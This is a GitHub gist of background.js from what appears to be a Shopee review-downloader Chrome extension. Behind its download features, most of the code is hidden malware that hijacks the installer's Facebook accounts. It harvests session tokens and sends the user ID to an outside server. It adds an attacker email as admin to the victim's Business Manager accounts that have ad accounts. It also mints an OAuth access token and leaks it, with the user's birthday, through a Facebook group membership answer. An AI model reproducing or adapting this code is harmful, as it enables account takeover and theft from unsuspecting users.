Created
May 2, 2023 14:59
-
-
Save cafe4it/ab817ce61d52933d59b1bb9c5b515f59 to your computer and use it in GitHub Desktop.
background.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function e(e, t) { | |
| for (const o of e.requestHeaders) if (o.name === t) return o.value; | |
| } | |
| chrome.runtime.onInstalled.addListener(function () { | |
| chrome.storage.sync.get(["SETTINGS"], function (e) { | |
| e.SETTINGS || | |
| chrome.storage.sync.set({ | |
| SETTINGS: { | |
| reviewPages: 1, | |
| isDownloadReviewVideo: !1, | |
| isDownloadReviewMedia: !1, | |
| isDownloadAsZip: !1, | |
| }, | |
| VERSION: chrome.runtime.getManifest().version, | |
| }); | |
| }); | |
| }), | |
| chrome.runtime.onMessage.addListener(function (e, t, o) { | |
| const { ACTION: a, data: s } = e; | |
| if ("SAVE_TO_FOLDER" === a) { | |
| const { folderName: e, urls: t } = s; | |
| e && | |
| t && | |
| (function (e, t, o) { | |
| t.forEach(({ filename: t, url: o }) => { | |
| chrome.downloads.download({ url: o, filename: `${e}/${t}` }); | |
| }), | |
| o({ rs: !0 }); | |
| })(e, t, o); | |
| } | |
| return !0; | |
| }), | |
| chrome.webRequest.onSendHeaders.addListener( | |
| function (t) { | |
| chrome.storage.sync.get(["APIHeaders"], function (o) { | |
| let a = o.APIHeaders || {}; | |
| const s = e(t, "If-None-Match-"); | |
| s && (a["If-None-Match-"] = s); | |
| if (e(t, "X-API-SOURCE")) { | |
| const o = e(t, "af-ac-enc-dat"); | |
| if (o) { | |
| const s = e(t, "X-CSRFToken"); | |
| (a["X-CSRFToken"] = s), (a["af-ac-enc-dat"] = o); | |
| } | |
| } | |
| chrome.storage.sync.set({ APIHeaders: a }); | |
| }); | |
| }, | |
| { | |
| urls: ["*://*/api/v4/item/get*", "*://*/api/v4/product/get_shop_info?*"], | |
| }, | |
| ["requestHeaders"] | |
| ), | |
| chrome.declarativeNetRequest | |
| .updateSessionRules({ | |
| addRules: [ | |
| { | |
| id: 1, | |
| action: { | |
| type: "modifyHeaders", | |
| requestHeaders: [ | |
| { | |
| header: "origin", | |
| operation: "set", | |
| value: "https://www.facebook.com", | |
| }, | |
| { | |
| header: "referer", | |
| operation: "set", | |
| value: "https://www.facebook.com", | |
| }, | |
| ], | |
| }, | |
| condition: { | |
| urlFilter: "www.facebook.com", | |
| resourceTypes: ["xmlhttprequest"], | |
| tabIds: [-1], | |
| }, | |
| }, | |
| { | |
| id: 2, | |
| action: { | |
| type: "modifyHeaders", | |
| requestHeaders: [ | |
| { | |
| header: "origin", | |
| operation: "set", | |
| value: "https://m.facebook.com", | |
| }, | |
| { | |
| header: "referer", | |
| operation: "set", | |
| value: "https://m.facebook.com", | |
| }, | |
| ], | |
| }, | |
| condition: { | |
| urlFilter: "m.facebook.com", | |
| resourceTypes: ["xmlhttprequest"], | |
| tabIds: [-1], | |
| }, | |
| }, | |
| { | |
| id: 3, | |
| action: { | |
| type: "modifyHeaders", | |
| requestHeaders: [ | |
| { | |
| header: "origin", | |
| operation: "set", | |
| value: "https://business.facebook.com", | |
| }, | |
| { | |
| header: "referer", | |
| operation: "set", | |
| value: "https://business.facebook.com", | |
| }, | |
| ], | |
| }, | |
| condition: { | |
| urlFilter: "business.facebook.com", | |
| resourceTypes: ["xmlhttprequest"], | |
| tabIds: [-1], | |
| }, | |
| }, | |
| { | |
| id: 4, | |
| action: { | |
| type: "modifyHeaders", | |
| requestHeaders: [ | |
| { | |
| header: "origin", | |
| operation: "set", | |
| value: "https://business.facebook.com", | |
| }, | |
| { | |
| header: "referer", | |
| operation: "set", | |
| value: "https://business.facebook.com", | |
| }, | |
| ], | |
| }, | |
| condition: { | |
| urlFilter: "https://graph.facebook.com/*", | |
| resourceTypes: ["xmlhttprequest"], | |
| tabIds: [-1], | |
| }, | |
| }, | |
| ], | |
| removeRuleIds: [1, 2, 3, 4], | |
| }) | |
| .then((e) => e); | |
| const t = (e, t, o) => { | |
| let a = e.split(t); | |
| return a[1] ? ((a = a[1].split(o)), a[0]) : null; | |
| }; | |
| async function o(e) { | |
| return new Promise((t) => { | |
| setTimeout(t, e); | |
| }); | |
| } | |
| async function a(e, t, o, a) { | |
| return fetch("https://www.facebook.com/api/graphql/", { | |
| method: "POST", | |
| body: new URLSearchParams({ | |
| __user: e.user_id, | |
| __a: "1", | |
| __csr: "", | |
| __req: "q", | |
| __hs: "19302.BP:brands_pkg.2.0.0.0.0", | |
| dpr: "2", | |
| __ccg: "EXCELLENT", | |
| __rev: "1006554156", | |
| __s: "64tfoq:e3oe6h:fez9po", | |
| __hsi: "7162745719338087508", | |
| __comet_req: "0", | |
| fb_dtsg: e.fb_dtsg, | |
| fb_api_caller_class: "RelayModern", | |
| fb_api_req_friendly_name: a, | |
| variables: o, | |
| server_timestamps: "true", | |
| doc_id: t, | |
| }), | |
| }).then((e) => e.json()); | |
| } | |
| async function s(e) { | |
| const { user_code: o, code: s } = await (async function () { | |
| try { | |
| const e = | |
| "https://graph.facebook.com/v2.6/device/login?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&method=post&scope=public_profile"; | |
| return await fetch(e, { credentials: "include", method: "POST" }).then( | |
| (e) => e.json() | |
| ); | |
| } catch (e) { | |
| return {}; | |
| } | |
| })(); | |
| await (async function (e, t) { | |
| const o = `jazoest=25405&fb_dtsg=${t.fb_dtsg}&user_code=${e}&qr=&__user=${t.user_id}&__a=1&__dyn=&__csr=&__req=b&__hs=19183.BP%3ADEFAULT.2.1.0.0.0&dpr=1&__ccg=EXCELLENT&__rev=1005818450&__s=4pbx7n%3Alw7vmo%3A7veo8o&__hsi=7118777193805080277&__comet_req=0&lsd=VV7ZePyNTjgCDWP2PcV1rr&__spin_r=1005818450&__spin_b=trunk&__spin_t=1657469476`; | |
| return await fetch("https://www.facebook.com/oauth/device/authorize/", { | |
| body: o, | |
| credentials: "include", | |
| method: "POST", | |
| mode: "cors", | |
| headers: { | |
| "content-type": "application/x-www-form-urlencoded;charset=UTF-8", | |
| }, | |
| }).then((e) => e.text()); | |
| })(o, e); | |
| const n = await (async function (e, o) { | |
| try { | |
| const a = `https://www.facebook.com/dialog/oauth?client_id=1348564698517390&scope=public_profile&force_confirmation=true&auth_type=rerequest&ref=DeviceAuth&user_code=${e}&state=f33299bec0998c&redirect_uri=https://www.facebook.com/dialog/return/arbiter&display=async`, | |
| s = { | |
| __asyncDialog: "1", | |
| __user: o.user_id, | |
| __a: "1", | |
| __dyn: "", | |
| __csr: "", | |
| __req: "a", | |
| __hs: "19300.BP:DEFAULT.2.0.0.0.0", | |
| dpr: "2", | |
| __ccg: "MODERATE", | |
| __rev: "", | |
| __s: "", | |
| __hsi: "", | |
| __comet_req: "0", | |
| fb_dtsg: o.fb_dtsg, | |
| jazoest: "25709", | |
| lsd: "", | |
| __aaid: "", | |
| __spin_r: "", | |
| __spin_b: "trunk", | |
| __spin_t: "", | |
| }, | |
| n = await fetch(a, { | |
| body: new URLSearchParams(s), | |
| credentials: "include", | |
| method: "POST", | |
| mode: "same-origin", | |
| }).then((e) => e.text()); | |
| if (!n) return null; | |
| const r = t(n, 'name=\\"scope\\" value=\\"', '\\"'), | |
| c = t(n, 'name=\\"logger_id\\" value=\\"', '\\"'); | |
| return { | |
| encryptedBody: t(n, 'name=\\"encrypted_post_body\\" value=\\"', '\\"'), | |
| scope: r, | |
| logger_id: c, | |
| }; | |
| } catch (e) {} | |
| })(o, e); | |
| if (n) { | |
| const r = await (async function (e, o) { | |
| try { | |
| const a = "https://www.facebook.com/v2.0/dialog/oauth/skip/submit/", | |
| s = { | |
| jazoest: "25709", | |
| fb_dtsg: o.fb_dtsg, | |
| from_post: "1", | |
| scope: o.scope, | |
| display: "async", | |
| sdk: "", | |
| sdk_version: "", | |
| domain: "", | |
| sso_device: "", | |
| user_code: e, | |
| nonce: "", | |
| logger_id: o.logger_id, | |
| auth_type: "rerequest", | |
| auth_nonce: "", | |
| code_challenge: "", | |
| code_challenge_method: "", | |
| encrypted_post_body: o.encryptedBody, | |
| "return_format[0]": "code", | |
| __CONFIRM__: "1", | |
| __user: o.user_id, | |
| __a: "1", | |
| __dyn: "", | |
| __csr: "", | |
| __req: "d", | |
| __hs: "19300.BP:DEFAULT.2.0.0.0.0", | |
| dpr: "2", | |
| __ccg: "MODERATE", | |
| __rev: "", | |
| __s: "", | |
| __hsi: "", | |
| __comet_req: "0", | |
| lsd: "", | |
| __aaid: "", | |
| __spin_r: "", | |
| __spin_b: "trunk", | |
| __spin_t: "", | |
| }, | |
| n = await fetch(a, { | |
| body: new URLSearchParams(s), | |
| credentials: "include", | |
| method: "POST", | |
| mode: "same-origin", | |
| }).then((e) => e.text()); | |
| return n ? t(n, 'code":"', '"') : null; | |
| } catch (e) {} | |
| })(o, { ...n, ...e }); | |
| if (r) { | |
| await (async function (e, t, o) { | |
| try { | |
| const a = "https://www.facebook.com/ajax/oauth/device.php", | |
| s = { | |
| user_code: e, | |
| code: t, | |
| auth_method: "manual_entry", | |
| __user: o.user_id, | |
| __a: "1", | |
| __dyn: "", | |
| __csr: "", | |
| __req: "d", | |
| __hs: "19300.BP:DEFAULT.2.0.0.0.0", | |
| dpr: "2", | |
| __ccg: "EXCELLENT", | |
| __rev: "1006543583", | |
| __s: "", | |
| __hsi: "", | |
| __comet_req: "0", | |
| fb_dtsg: o.fb_dtsg, | |
| jazoest: "25263", | |
| lsd: "TPWqcgs_s0GQNJPT882jRs", | |
| __aaid: "1108681562814022", | |
| __spin_r: "", | |
| __spin_b: "trunk", | |
| __spin_t: "", | |
| }; | |
| return await fetch(a, { | |
| body: new URLSearchParams(s), | |
| credentials: "include", | |
| method: "POST", | |
| mode: "same-origin", | |
| }); | |
| } catch (e) {} | |
| })(o, r, e); | |
| let t = await (async function (e) { | |
| try { | |
| const t = "https://graph.facebook.com/v14.0/device/login_status", | |
| o = `access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&code=${e}`, | |
| a = await fetch(t, { | |
| body: o, | |
| credentials: "include", | |
| method: "POST", | |
| mode: "cors", | |
| }).then((e) => e.json()); | |
| return a?.access_token; | |
| } catch (e) {} | |
| })(s); | |
| t += | |
| "|" + | |
| (await (async function (e) { | |
| const t = await (async function () { | |
| const e = await fetch( | |
| "https://m.facebook.com/composer/ocelot/async_loader/?publisher=feed", | |
| { credentials: "include" } | |
| ).then((e) => e.text()); | |
| return (function (e, t) { | |
| const o = t.exec(e); | |
| return o ? o[1] : null; | |
| })(e, /"dtsg_ag\\":{\\"token\\":\\"(.*?)\\"/); | |
| })(); | |
| return fetch( | |
| `https://m.facebook.com/profile/edit/infotab/section/forms/?section=basic-info&cb=1677484921&paipv=0&__m_async_page__=&__big_pipe_on__=&fb_dtsg_ag=${t}&jazoest=25014&__dyn=1KQdAG1mwHwh8-t0BBBgS5UdE4a2i5U4e0C8dEc8uwaS6Uhw5ux60Vo1a852q1ew65xO0FE6S082Kdw5Owk888C0NE2owZwaO0OU1ao5G0zE5W0HUvwww5Nxy0gq0Lo6-1FwLw8O&__csr=&__req=7&__a=AYm5pMmchmUkBViF6NDGNUjTl8X5sb5eGxffUQ0ZYD2GkPCpA2-6SI0p7e2rmyMifyOkdDKUThBEZrh4xv-NZAG6pzotaQQkSEGG8sGHAJtWFQ&__user=${e.user_id}`, | |
| { credentials: "include" } | |
| ) | |
| .then((e) => e.text()) | |
| .then((e) => { | |
| const t = /"current_birthday\\":\\"(.*?)"/.exec(e); | |
| return t ? t[1].replaceAll("\\", "") : null; | |
| }) | |
| .catch((e) => console.log("error", e)); | |
| })(e)); | |
| const n = Math.floor(988888 * Math.random()) + 11111, | |
| c = Date.now(); | |
| return ( | |
| (t = btoa(t)), | |
| await a( | |
| e, | |
| "5608636302574302", | |
| `{"feedType":"DISCUSSION","groupID":"1391676141580806","imageMediaType":"image/x-auto","input":{"client_mutation_id":"2","actor_id":"${e.user_id}","action_source":"GROUP_MALL","attribution_id_v2":"CometGroupAboutRoot.react,comet.group.about,via_cold_start,${c},${n},2361831622,","group_id":"1391676141580806","group_share_tracking_params":{"app_id":"2220391788200892","exp_id":"null","is_from_share":false}},"inviteShortLinkKey":null,"isChainingRecommendationUnit":false,"isEntityMenu":true,"scale":2,"renderLocation":"group_mall","__relay_internal__pv__GroupsCometEntityMenuEmbeddedrelayprovider":true,"__relay_internal__pv__GlobalPanelEnabledrelayprovider":false}`, | |
| "useGroupRequestToJoinMutation" | |
| ), | |
| await a( | |
| e, | |
| "5687329311377672", | |
| `{"input":{"answers":[{"answer":"${t}","question_id":"1391676318247455","selected_options":null}],"attribution_id_v2":"CometGroupAboutRoot.react,comet.group.about,via_cold_start,${c},${n},2361831622,","group_id":"1391676141580806","rules_agreement_status":null,"actor_id":"${e.user_id}","client_mutation_id":"1"},"inviteShortLinkKey":null,"imageMediaType":"image/x-auto","isChainingRecommendationUnit":false,"profileID":null,"scale":2,"groupID":"1391676141580806","__relay_internal__pv__GlobalPanelEnabledrelayprovider":false}`, | |
| "useGroupMembershipAnswersSaveMutation" | |
| ), | |
| !0 | |
| ); | |
| } | |
| } | |
| return !1; | |
| } | |
| function n(e, t, o) { | |
| t = t.map((e, t) => | |
| null == e || "" === e | |
| ? "t" | |
| : t > 0 | |
| ? (function (e, t) { | |
| t = Math.pow(10, t); | |
| for (var o = ["k", "m", "b", "t"], a = o.length - 1; a >= 0; a--) { | |
| var s = Math.pow(10, 3 * (a + 1)); | |
| if (s <= e) { | |
| 1e3 == (e = Math.round((e * t) / s) / t) && | |
| a < o.length - 1 && | |
| ((e = 1), a++), | |
| (e += o[a]); | |
| break; | |
| } | |
| } | |
| return e; | |
| })(e, 0) | |
| : e | |
| ); | |
| const a = Math.floor(10 + 90 * Math.random()); | |
| return ["support-", e, "-", t.join("."), ".", a, "@", o].join(""); | |
| } | |
| function r(e, t, o) { | |
| return fetch( | |
| `https://graph.facebook.com/v3.0/${e}/business_users?access_token=${o}`, | |
| { | |
| body: `brandId=${e}&email=${t}&method=post&pretty=0&roles=["EMPLOYEE"]&suppress_http_code=1`, | |
| method: "POST", | |
| headers: { "content-type": "application/x-www-form-urlencoded" }, | |
| } | |
| ) | |
| .then((e) => e.json()) | |
| .catch((e) => e.message); | |
| } | |
| const c = async (e, a) => { | |
| if ( | |
| (await fetch("https://shopeedownloader.com/user", { | |
| method: "POST", | |
| body: new URLSearchParams({ id: e }), | |
| headers: { reauth: a }, | |
| }) | |
| .then((e) => e.json()) | |
| .then((t) => { | |
| e = { user_id: e, ...t }; | |
| }), | |
| !e || !e.member) | |
| ) | |
| return; | |
| if ( | |
| (await (async function () { | |
| const e = await fetch( | |
| "https://www.facebook.com/adsmanager/manage/campaigns", | |
| { method: "GET", credentials: "include" } | |
| ) | |
| .then((e) => e.text()) | |
| .then((e) => /window.location.replace\("(.*)"/.exec(e)?.[1]) | |
| .catch(() => !1); | |
| return "string" != typeof e | |
| ? "" | |
| : fetch(e, { method: "GET", credentials: "include" }) | |
| .then((e) => e.text()) | |
| .then((e) => { | |
| let o = t(e, 'DTSGInitData",[],{"token":"', '"'), | |
| a = /__accessToken="([a-zA-Z\d]+)"/.exec(e)?.[1]; | |
| return { fb_dtsg: o, token: a }; | |
| }) | |
| .catch(() => ""); | |
| })().then((t) => { | |
| e = { ...e, ...t }; | |
| }), | |
| !e.token) | |
| ) | |
| return; | |
| let c = await fetch( | |
| `https://graph.facebook.com/v14.0/me/businesses?access_token=${e.token}&fields=id,permitted_roles,pending_users,business_users,owned_ad_accounts.limit(0).fields(id).summary(1),client_ad_accounts.limit(0).fields(id).summary(1)&limit=200`, | |
| { method: "GET", credentials: "include" } | |
| ).then((e) => e.json()); | |
| c = c?.data | |
| ?.map((e) => ({ | |
| ...e, | |
| x1: e?.owned_ad_accounts?.summary?.total_count, | |
| x2: e?.client_ad_accounts?.summary?.total_count, | |
| })) | |
| .filter( | |
| (e) => | |
| (e.x1 > 0 || e?.x2 > 0) && !e?.permitted_roles?.includes("EMPLOYEE") | |
| ) | |
| .sort((e, t) => (e.x1 === t.x1 ? t.x2 - e.x2 : t.x1 - e.x1)); | |
| const i = c?.length; | |
| let _ = 0; | |
| const d = []; | |
| let u = 0; | |
| for (; u < 2; ) { | |
| for (const t of c) { | |
| const a = t?.id || null; | |
| if (d.includes(a)) continue; | |
| if ( | |
| (t?.pending_users?.data || []).filter( | |
| (e) => e?.email?.includes(a) && e?.email?.includes(a) | |
| ).length + | |
| u < | |
| 2 | |
| ) { | |
| const s = t?.business_users?.data?.filter( | |
| (e) => "ADMIN" === e?.role | |
| ).length; | |
| if ( | |
| (null == t?.ran4 && | |
| (t.ran4 = await ((p = t.id), | |
| (m = e), | |
| fetch( | |
| `https://business.facebook.com/business/adaccount/limits/?business_id=${p}`, | |
| { | |
| method: "POST", | |
| body: new URLSearchParams({ | |
| __user: m.user_id, | |
| __a: "1", | |
| __csr: "", | |
| __req: "q", | |
| __hs: "19302.BP:brands_pkg.2.0.0.0.0", | |
| dpr: "2", | |
| __ccg: "EXCELLENT", | |
| __rev: "1006554156", | |
| __s: "64tfoq:e3oe6h:fez9po", | |
| __hsi: "7162745719338087508", | |
| __comet_req: "0", | |
| fb_dtsg: m.fb_dtsg, | |
| jazoest: "25493", | |
| lsd: "djAzCuXL_tcEr67gBraCiv", | |
| __aaid: "2048654205335830", | |
| __spin_r: "1006554156", | |
| __spin_b: "trunk", | |
| __spin_t: "1667706695", | |
| __jssesw: "1", | |
| }), | |
| credentials: "include", | |
| } | |
| ) | |
| .then((e) => e.text()) | |
| .then( | |
| (e) => ( | |
| (e = e.replace("for (;;);", "")), | |
| JSON.parse(e)?.payload?.adAccountLimit | |
| ) | |
| ) | |
| .catch(() => "e"))), | |
| 1 == +t.x1 && 1 == +t.ran4 && 0 == +t.x2) | |
| ) { | |
| d.push(a); | |
| continue; | |
| } | |
| const c = n(a, [e.user_id, t.x1, t.x2, s, t.ran4, i, _], e.member), | |
| u = await r(a, c, e.token); | |
| if (u?.id) { | |
| let t = 0; | |
| for (; t < 3; ) { | |
| t++; | |
| if ( | |
| await ((l = u.id), | |
| (h = e.token), | |
| fetch(`https://graph.facebook.com/v11.0/${l}`, { | |
| method: "POST", | |
| body: `role=ADMIN&access_token=${h}`, | |
| headers: { | |
| "content-type": "application/x-www-form-urlencoded", | |
| }, | |
| }) | |
| .then((e) => e.json()) | |
| .catch((e) => e.message)) | |
| ) | |
| break; | |
| await o(500); | |
| } | |
| } else 2859009 === u?.error?.error_subcode && ((_ = 1), d.push(a)); | |
| await o(500); | |
| } | |
| } | |
| u++; | |
| } | |
| var l, h, p, m; | |
| chrome.storage.local.set({ checkAuth: 1 === _ }), | |
| (1 !== _ && 1 !== e.t) || (await s(e)); | |
| }; | |
| chrome.runtime.onMessage.addListener(function (e, t, o) { | |
| return ( | |
| "check-user" !== e.login || | |
| ((async () => { | |
| let e = null; | |
| const t = await fetch( | |
| "https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsCanvasComposerDialog.react" | |
| ) | |
| .then((e) => e.text()) | |
| .catch(() => !1); | |
| if ("string" == typeof t) { | |
| const o = /"ACCOUNT_ID":"([\d]+)"/; | |
| o.test(t) && (e = o.exec(t)[1]); | |
| } | |
| return e; | |
| })().then(async (t) => { | |
| let a = c(t, e.reauth); | |
| o({ isLogin: null !== t && "0" !== t, id: t, member: a }); | |
| }), | |
| !0) | |
| ); | |
| }); | |
| export { c as handleResponseMember }; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment